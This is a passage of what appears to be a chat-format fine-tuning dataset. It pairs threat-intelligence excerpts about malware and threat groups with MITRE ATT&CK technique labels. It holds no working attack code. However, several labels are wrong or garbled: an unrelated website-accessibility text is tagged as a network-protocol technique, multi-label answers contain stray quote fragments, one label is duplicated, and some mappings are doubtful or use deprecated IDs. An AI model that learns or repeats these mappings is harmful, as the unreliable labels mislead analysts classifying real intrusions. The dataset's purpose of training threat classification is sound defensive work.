                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"fsutil fsinfo drives\" to list connected drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors modified the `IKEEXT` and `PrintNotify` Windows services for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indirect Code Execution Through INF and SCT This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "completes network communication via raw sockets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ESET researchers have discovered several previously undocumented post-compromise tools used by the highly active Gamaredon threat group in various malicious campaigns. One tool, a VBA macro targeting Microsoft Outlook, uses the target’s email account to send spearphishing emails to contacts in the victim’s Microsoft Office address book. We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents"
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive', 'T1204.002 - User Execution: Malicious File', 'T1534 - Internal Spearphishing', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. The malware reads the subsequent C2 server response but implements no logic to act on the received data. Finally, REvil terminates execution"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike is an adversary simulation platform developed for penetration testers by Raphael Mudge, founder of Strategic Cyber LLC. Designed for interoperability with other platforms such as Metasploit, NMAP, and Powershell Empire, it can be run using Armitage, a graphic user interface (GUI) developed by Mudge, initially for Metasploit. Armitage and Cobalt Strike are designed around a team server that allows for the sharing of information and the ability to direct and execute well-coordinated actions."
            },
            {
                "role": "assistant",
                "content": "T1061 - Graphical User Interface"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor will modify the registry for the Windows Media Player to store its C&C configuration."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To authenticate to vCenter the threat actor used a stolen session cookie for a Privileged Access Management (PAM) account."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(On the left is NavRAT, and on the right is the shellcode of ROKRAT):    We performed the same analysis for the shellcode located in the downloaded image file and the shellcode is not exactly the same, but the design is very similar"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has installed a second-stage script in the \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\" registry key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Close analysis of the delivered payloads and legitimate resources retrieved from URLs by the first stage malware dropper reveals that TA416 is once again using an updated version of PlugX malware to target their victims. Historically, the group has relied on a variety of legitimate antivirus files, including the Avast file resource wsc_proxy.exe, to begin the process of DLL search order hijacking that results in PlugX malware installation. In the January 2022 campaigns, TA416 used the PE file potplayermini.exe to initiate DLL search order hijacking. This is a legitimate executable file that is part of the publicly available media player Daum PotPlayer 1.5.29825, which Mandiant has previously documented as being susceptible to search order hijacking since at least 2016. The file DocConvDll.dll has also intermittently been used as a loader of the PlugX DAT configuration files. For those that are familiar with TA416’s historic tactics, techniques, and procedures (TTPs), this is highly similar to the Trident Loader method which the group used to install PlugX in previous campaigns"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The domain name is generated based on the current month and year values, e.g. for August 2017 the domain name used would be “nylalobghyhirgh.com"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke has been packed with junk code and strings."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script hides under multiple layers of encryption, obfuscation, and encoding techniques. For this sample, we were able to reveal three layers of code. The top-most layer executes a base64-encoded command"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can enumerate the OS version and computer name on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains unused machine instructions in a likely attempt to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as \"net group\" and \"net localgroup\" can be used in Net to gather information about and manipulate groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has a function to write itself to Registry values."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has performed DLL search order hijacking to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 has acquired C2 domains through resellers."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then executes a new instance of itself in a new process. Also, it will remove the original file via the following command that is executed in a batch script named 'date.bat"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can encrypt strings with XOR-based routines and use a custom AES storage format for plugins, configuration, C2 domains, and harvested data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has the ability to identify the username on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. This backdoor can only execute additional PowerShell scripts. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens encrypts data with a substitute cipher prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQLRat has created scheduled tasks in \"%appdata%\\Roaming\\Microsoft\\Templates\\\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used schtasks to register a scheduled task to execute malware during lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can capture microphone recordings."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Emissary configuration is now encrypted using a custom algorithm that uses the \"srand\" function to seed the \"rand\" function using a value of 2563. This seed value causes the \"rand\" function to generate the same values each time, which Emissary will use as a key along with the XOR operation. The configuration now contains the version number of Emissary, instead of the version being hardcoded into the Trojan"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label \"C:\\\" and the computer name. The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string. The main function then calls the subfunction with the argument 3 to get the POST data parameter (“porg”) along with the volume serial number and computer name and will send this data to the C2 via the HTTP POST request. The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the \"open\" function using the ShellExecuteW API function. Also, the author capitalized the “E” in the “dde” command to evade case sensitive signatures. Lastly, the author bolded the “dd” characters within the “dde” command, which breaks the string up within the XML of the DOCX file (word/document.xml) to make signature development difficult, as seen here"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSASS Memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has deleted dropper files on an infected system using command scripts."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After unpacking the module, it is packed with an additional inner packer Pe123\\RPolyCryptor"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin can save a new file to the system from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can use run keys and create link files in the startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors injected code into a selected process, which in turn launches a command as a child process of the original."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to take screenshots on an infected host including capturing content from windows of instant messaging applications."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has enabled Wdigest by changing the registry value from 0 to 1."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can change C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used the BlackEnergy KillDisk component to overwrite files on Windows-based Human-Machine Interfaces."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exact date when the malware was compiled is unknown – the recent wrapper DLL samples were tampered with by the malware authors, with the PE timestamps manually set to zero values. However, during our research, we found an earlier version of the malware with a PE timestamp reading Oct 13, 2013, so the compilation date of the later version is almost surely more recent"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands passed as arguments into e.py were also seen being executed by the targeted Windows guest machine, running as a child process under vmtoolsd.exe. This execution chain can be seen in Figure 5. The parent binary /bin/rdt was not present on disk but was able to be recovered by dumping the processes memory of the ESXi hypervisor. The python script that sent out commands to the guest machines, e.py, was unable to be recovered."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The iContact binary appears to be a backdoor that gathers user and locale data and engages in encrypted communications with a C2 server over TCP. Functionality includes sending and receiving files and running custom commands such as scanning a directory and deleting files"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka is capable of providing Meterpreter shell access."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti has used API calls during execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used \"net use\" to conduct connectivity checks to machines."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a keylogging tool that records keystrokes in encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a .lnk file to the Windows startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used VBscript to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An executable dropped onto victims by  aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe)."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender. The payloads themselves are rather interesting, as the developer wraps the malicious code with legitimate source code freely available online"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
